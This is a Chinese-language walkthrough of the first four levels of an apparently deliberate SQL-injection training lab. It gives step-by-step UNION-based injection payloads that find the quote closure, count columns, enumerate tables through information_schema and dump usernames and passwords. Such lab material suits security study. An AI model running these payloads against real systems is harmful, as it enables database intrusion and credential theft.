第一关:GET-报错注入-单引号-字符型注入

1.1 判断闭合方式

  • id=1\可以知道为单引号闭合

img

  • id=1'--+验证成功

img

1.2 查看有多少列

  • id=1' order by 3--+用二分法知道有3列

img

1.3 使用联合报错注入

  • id=-1' union select 1,2,3--+使前面报错,使用union报错注入,让后面的结果显示出来,发现2和3的位置可以显示出数据来

img

  • id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),database()--+ 知道当前数据库security有emails、referers、uagents、users表

img

  • id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),database()--+可以知道users表有id、username、password字段

img

第二关:GET-报错注入-数字型注入

2.1 判断闭合方式

  • id=1\发现貌似是数字型注入

img

  • id=1 and 1=1正常

img

  • id=1 and 1=2失败,可以知道是数字型注入

img

2.2 查看有多少列

  • id=1 order by 3 用二分法可以知道只有三列

img

2.3 使用联合报错注入

  • id=1 and 1=2 union select 1,2,3让前面报错,让后面的结果显示,可以发现2和3的位置会显示出来

img

  • id=1 and 1=2 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())可以知道当前数据库为security,由emails、referers、uagents、users表

img

  • id=1 and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')可以知道users表有id、username、password字段

img

  • id=1 and 1=2 union select 1,2,(select group_concat(username,0x3a,password) from users)可以知道用户名和密码

img

  • id=-1' union select 1,2,(select group_concat(username,0x3a,password) from users)--+成功爆出用户名和密码

img

第三关:GET-报错注入-单引号和括号-字符型注入

3.1 判断闭合方式

  • 使用\爆出了错误,可以知道是用(‘xxx’)引起来的

img

  • id=1')--+ 验证成功

img

3.2 查看有多少列

  • id=1') order by 3 --+经过二分法等可以知道有三列

img

3.3 使用联合报错注入

  • id=-1') union select 1,2,3--+使用union联合注入,使前面报错,让后面的显示出来,发现2和3的位置会爆出错误信息,接下来就利用这两个位置进行操作

img

  • id=-1') union select 1,database(),(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

img

  • 或者直接使用id=-1') union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

img

  • 可以知道数据库名为security,有emails、referers、uagents、users表
  • id=-1') union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+可以知道users表有id、username、password字段

img

  • id=-1') union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+可以查看到用户名和密码

img

第四关:GET-报错注入-双引号和括号-字符型注入

4.1 判断闭合方式

  • id=1\可以知道是(“”)闭合

img

  • id=1") --+验证成功

img

4.2 查看有多少列

  • id=1") order by 3--+由二分法可以知道只有3列

img

4.3 使用联合报错注入

  • id=-1") union select 1,2,3--+使用union联合注入,使前面报错,让后面的显示出来,发现2和3的位置会爆出错误信息,接下来就利用这两个位置进行操作

img

  • id=-1") union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())--+可以知道数据库名为security,有emails、referers、uagents、users表

img

  • id=-1") union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')--+可以知道users表有id、username、password字段

img

  • id=-1") union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+可以查看到用户名和密码

img